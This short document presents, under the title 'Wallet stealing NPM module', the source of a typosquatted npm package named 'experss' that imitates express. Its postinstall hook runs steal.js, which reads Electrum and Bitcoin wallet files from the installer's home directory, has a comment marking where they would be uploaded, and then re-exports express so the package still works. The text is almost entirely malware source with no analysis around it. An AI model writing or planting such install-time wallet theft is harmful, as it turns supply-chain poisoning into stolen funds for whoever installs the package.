Wallet stealing NPM module

package.json

{
  "name": "experss",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "node steal.js"
  },
  "dependencies": {
    "express": "^4.16.2",
    "os-homedir": "^1.0.2"
  }
}

steal.js

const fs = require('fs');
const path = require('path');
const homedir  = require('os-homedir');

const walletPaths = [
  path.join(homedir(), '.electrum-ltc/wallets/default_wallet'),
  path.join(homedir(), '.electrum-cash/wallets/default_wallet'),
  '~/Library/Application\ Support/Bitcoin/wallet.dat'  
];

walletPaths.forEach(path => {
    if (fs.existsSync(path)) {
        const wallet = fs.readFileSync(path, 'utf8');
        // upload wallet to your server
    }
});

module.exports = require('express');